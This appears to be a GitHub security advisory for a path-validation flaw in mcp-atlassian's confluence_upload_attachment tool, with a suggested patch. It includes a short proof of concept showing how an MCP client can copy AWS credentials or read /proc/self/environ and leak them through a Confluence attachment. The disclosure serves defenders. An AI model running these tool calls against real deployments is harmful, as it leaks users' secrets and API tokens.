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CVE-2026-77259: MCP Atlassian: Arbitrary file read via confluence_upload_attachment allows exfiltration of server credentials

GitHub Advisories · officialPublished Sep 22, 2026Risk 37/100

### Summary Missing path validation in `confluence_upload_attachment` allows any authenticated MCP client to read arbitrary files from the server filesystem and exfiltrate their contents to Confluence. On Linux deployments, `/proc/self/environ` yields all runtime secrets in a single call. --- ### Details `AttachmentsMixin.upload_attachment()` in `src/mcp_atlassian/confluence/attachments.py` opens the caller-supplied `file_path` with no boundary check: ```python # line 477 files = {"file": (filename, open(file_path, "rb"))} ``` The download path was correctly hardened in GHSA-xjgw-4wvw-rgm4 via `validate_safe_path()` (lines 223, 272). That fix was not applied to the upload path, leaving it completely unguarded. The MCP tool layer (`servers/confluence.py:1295`) passes `file_path` verbatim with no additional sanitization. --- ### PoC ```bash # 1. Prepare target file (macOS demo; on Linux use /proc/self/environ directly) cp ~/.aws/credentials /tmp/diagram.png # 2. Call the MCP tool confluence_upload_attachment( content_id = "<any page attacker can edit>", file_path = "/tmp/diagram.png" ) # 3. Download attachment from Confluence — contains raw credentials ``` Tested on mcp-atlassian 0.21.1 against live Confluence Cloud. Attachment confirmed uploaded and retrieved with full credential content intact. --- ### Impact Any MCP client with edit access to one Confluence page can read arbitrary files from the server process. On shared/Docker deployments, `/proc/self/environ` exposes all users' API tokens in a single request. Exfiltrated Atlassian tokens provide persistent API access independent of MCP, surviving server shutdown or patching. Incomplete fix of GHSA-xjgw-4wvw-rgm4 — arbitrary file read on upload mirrors the arbitrary file write on download fixed in that advisory. --- ### Suggested Fix ```python # src/mcp_atlassian/confluence/attachments.py — upload_attachment() # Add after abspath conversion, before open(): try: validate_safe_path(file_path) except ValueError as e: return {"success": False, "error": str(e)} ``` Same fix required in `upload_attachments()` and `src/mcp_atlassian/jira/attachments.py`.

Upgrade affected packages to a patched version: mcp-atlassian 0.22.0.

Vendor
Not specified
Product
mcp-atlassian
Exploitation
none known
Evidence
official
CVSS
7.7

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